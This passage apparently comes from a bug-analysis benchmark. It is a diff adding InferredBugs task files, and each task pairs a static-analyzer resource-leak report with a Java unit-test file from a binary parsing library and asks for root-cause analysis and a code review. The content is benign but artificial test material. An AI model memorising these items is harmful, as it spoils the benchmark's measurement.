+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 150 is not released after line 150.
+**Note**: potential exception at line 150
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testShortArray_AsIntegers_BigEndian()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testShortArray_AsIntegers_BigEndian():void.5a99bc204287bb56b0dc40e717204d77
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testShortArray_AsIntegers_BigEndian|RESOURCE_LEAK
+
+### Node Key:
+e59d4f13a13a32109c447461abe95ea0
+
+### Hash:
+2129f8c0187c340abd97f43732571039
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9078/instruction.md b/inferredbugs-9078/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3c9072404ffe399fca42dc5241567d2402fd2f95
--- /dev/null
+++ b/inferredbugs-9078/instruction.md
@@ -0,0 +1,494 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short(new short[]{(short)0x0102, (short)0x0304}).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04}, binStart().Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testIntArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Int(0x01020304, 0x05060708).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,0x02,0x03,0x04}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testInt_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Int(0x01020304).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08}, binStart().Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLongArray() throws Exception {
+    assertArrayEquals(new byte []{0x01,02,0x03,0x04,0x05,0x06,0x07,0x08, 0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18}, binStart().Long(0x0102030405060708L,0x1112131415161718L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01, 02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testLong_LittleEndian() throws Exception {
+    assertArrayEquals(new byte[]{0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Long(0x0102030405060708L).end().toByteArray());
+  }
+  
+  @Test
+  public void testFlush() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPOut out = binStart(buffer);
+
+    out.Bit(true);
+    assertEquals(0, buffer.size());
+    out.Flush();
+    assertEquals(1, buffer.size());
+  }
+
+  @Test
+  public void testExceptionForOperatioOverEndedProcess() throws Exception {
+    final JBBPOut out = binStart();
+    out.ByteOrder(JBBPByteOrder.BIG_ENDIAN).Long(0x0102030405060708L).end();
+    try{
+      out.Align();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+    
+    try{
+      out.Align(3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit((byte)34,(byte)12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bit(34,12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, 12,13,14);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bits(JBBPNumberOfBits.BITS_3, (byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Bool(true,false);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte((byte)1,(byte)2,(byte)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Byte(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.ByteOrder(JBBPByteOrder.BIG_ENDIAN);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Flush();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Int(1,2);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Long(1L,2L);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short(1,2,3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.Short((short)1,(short)2,(short)3);
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+
+    try{
+      out.end();
+      fail("Must throw ISE");
+    }catch(IllegalStateException ex){
+    }
+  }
+  
+  @Test
+  public void testExternalStreamButNoByteArrayOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final DataOutputStream dout = new DataOutputStream(buffer);
+    
+    assertNull(binStart(dout).Byte(1,2,3).end());
+    assertArrayEquals(new byte[]{1,2,3}, buffer.toByteArray());
+  }
+  
+  @Test(expected = IllegalArgumentException.class)
+  public void testExceptionForBitOrderConfilctInCaseOfUsageBitOutputStream() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    final JBBPBitOutputStream bitstream = new JBBPBitOutputStream(buffer,JBBPBitOrder.LSB0);
+    
+    new JBBPOut(bitstream,JBBPByteOrder.BIG_ENDIAN,JBBPBitOrder.MSB0);
+  }
+  
+  @Test
+  public void testComplexWriting_1() throws Exception {
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream(16384);
+
+    final JBBPOut begin = new JBBPOut(buffer);
+
+    begin.
+            Bit(1, 2, 3, 0).
+            Bit(true, false, true).
+            Align().
+            Byte(5).
+            Short(1, 2, 3, 4, 5).
+            Bool(true, false, true, true).
+            Int(0xABCDEF23, 0xCAFEBABE).
+            Long(0x123456789ABCDEF1L, 0x212356239091AB32L).
+            end();
+
+    final byte[] array = buffer.toByteArray();
+
+    assertEquals(40, array.length);
+    assertArrayEquals(new byte[]{
+      (byte) 0x55, 5, 0, 1, 0, 2, 0, 3, 0, 4, 0, 5, 1, 0, 1, 1,
+      (byte) 0xAB, (byte) 0xCD, (byte) 0xEF, 0x23, (byte) 0xCA, (byte) 0xFE, (byte) 0xBA, (byte) 0xBE,
+      0x12, 0x34, 0x56, 0x78, (byte) 0x9A, (byte) 0xBC, (byte) 0xDE, (byte) 0xF1, 0x21, 0x23, 0x56, 0x23, (byte) 0x90, (byte) 0x91, (byte) 0xAB, 0x32
+
+    }, array);
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.igormaznitsa.jbbp.io.JBBPBitOutputStream` acquired by call to `binStart()` at line 140 is not released after line 140.
+**Note**: potential exception at line 140
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JBBPOutTest.testShort_LittleEndian()
+
+### Procedure Id:
+com.igormaznitsa.jbbp.io.JBBPOutTest.testShort_LittleEndian():void.a0718963985e53030d20b0f3bd17e01b
+
+### File:
+src/test/java/com/igormaznitsa/jbbp/io/JBBPOutTest.java
+
+### Key:
+JBBPOutTest.java|testShort_LittleEndian|RESOURCE_LEAK
+
+### Node Key:
+c8378f07bc7517fb0817a34558e677de
+
+### Hash:
+db82faef52ce015253c171a096cd9651
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9079/instruction.md b/inferredbugs-9079/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fc5e5048d74d47f44d4e93216ef0407a25a553ce
--- /dev/null
+++ b/inferredbugs-9079/instruction.md
@@ -0,0 +1,494 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-binary-block-parser
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/* 
+ * Copyright 2014 Igor Maznitsa (http://www.igormaznitsa.com).
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.igormaznitsa.jbbp.io;
+
+import static com.igormaznitsa.jbbp.io.JBBPOut.*;
+import java.io.*;
+import static org.junit.Assert.*;
+import org.junit.Test;
+
+public class JBBPOutTest {
+
+  @Test
+  public void testBinStart() throws Exception {
+    assertArrayEquals(new byte[]{1},binStart().Byte(1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x02,0x01},binStart(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{0x40,(byte)0x80},binStart(JBBPByteOrder.LITTLE_ENDIAN,JBBPBitOrder.MSB0).Short(0x0102).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte)0x80},binStart(JBBPBitOrder.MSB0).Byte(1).end().toByteArray());
+  
+    final ByteArrayOutputStream buffer = new ByteArrayOutputStream();
+    assertSame(buffer, binStart(buffer).end());
+  }
+  
+  @Test
+  public void testAlign() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align().Byte(0xFF).end().toByteArray());
+  }
+
+  @Test
+  public void testAlignWithArgument() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).Align(2).end().toByteArray().length);
+    assertArrayEquals(new byte[]{(byte) 0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Align(3).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(1).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(2).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2).Align(4).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x00, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x00, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 0x03, 0x04, 0x05, (byte) 0xFF}, new JBBPOut(new ByteArrayOutputStream()).Byte(1, 2, 3, 4, 5).Align(5).Byte(0xFF).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, (byte) 0x01, 0x00, 0x02, 0x00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(2).Byte(1).Align(2).Byte(2).Align(2).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0xF1, 0x00, 0x00, (byte) 0x01, 0x00, 00, 0x02, 0x00, 00, (byte) 0x03}, new JBBPOut(new ByteArrayOutputStream()).Byte(0xF1).Align(3).Byte(1).Align(3).Byte(2).Align(3).Byte(3).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x02, 03, 0x04, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Int(0x01020304).Align(5).Byte(0xF1).end().toByteArray());
+    assertArrayEquals(new byte[]{0x01, 0x00, 0x00, 0x00, 0x00, (byte)0xF1}, new JBBPOut(new ByteArrayOutputStream()).Bit(1).Align(5).Byte(0xF1).end().toByteArray());
+  }
+
+  @Test
+  public void testEmptyArray() throws Exception {
+    assertEquals(0, new JBBPOut(new ByteArrayOutputStream()).end().toByteArray().length);
+  }
+
+  @Test
+  public void testByte() throws Exception {
+    assertArrayEquals(new byte[]{-34}, binStart().Byte(-34).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testByteArrayAsByteArray() throws Exception {
+    assertArrayEquals(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}, binStart().Byte(new byte[]{1, 3, 0, 2, 4, 1, 3, 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBit() throws Exception {
+    assertArrayEquals(new byte[]{1}, binStart().Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_MSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x80}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.MSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBit_LSB0() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0x01}, binStart(JBBPByteOrder.BIG_ENDIAN, JBBPBitOrder.LSB0).Bit(1).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_Int() throws Exception {
+    assertArrayEquals(new byte[]{0xD}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_IntArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, 0xFD, 0xFE).end().toByteArray());
+  }
+
+  @Test
+  public void testBits_ByteArray() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xED}, binStart().Bits(JBBPNumberOfBits.BITS_4, (byte) 0xFD, (byte) 0x8E).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsInts() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(1, 3, 0, 2, 4, 1, 3, 7).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(1, 3, 0, 7).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBytes() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 2, (byte) 4, (byte) 1, (byte) 3, (byte) 7}).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(new byte[]{(byte) 1, (byte) 3, (byte) 0, (byte) 7}).end().toByteArray());
+  }
+
+  @Test
+  public void testBitArrayAsBooleans() throws Exception {
+    assertArrayEquals(new byte[]{(byte) 0xE3}, binStart().Bit(true, true, false, false, false, true, true, true).end().toByteArray());
+    assertArrayEquals(new byte[]{(byte) 0x0B}, binStart().Bit(true, true, false, true).end().toByteArray());
+  }
+
+  @Test
+  public void testShort() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{0x01,02}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShort_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{0x02,01}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_BigEndian() throws Exception {
+    assertArrayEquals(new byte []{1,2,3,4}, binStart().ByteOrder(JBBPByteOrder.BIG_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsIntegers_LittleEndian() throws Exception {
+    assertArrayEquals(new byte []{2,1,4,3}, binStart().ByteOrder(JBBPByteOrder.LITTLE_ENDIAN).Short(0x0102,0x0304).end().toByteArray());
+  }
+
+  @Test
+  public void testShortArray_AsShorts() throws Exception {
+    assertArrayEquals(new byte[]{1, 2, 3, 4}, binStart().Short((short)0x0102, (short)0x0304).end().toByteArray());
+  }
+  
+  @Test
+  public void testShortArray_AsShortArray() throws Exception {
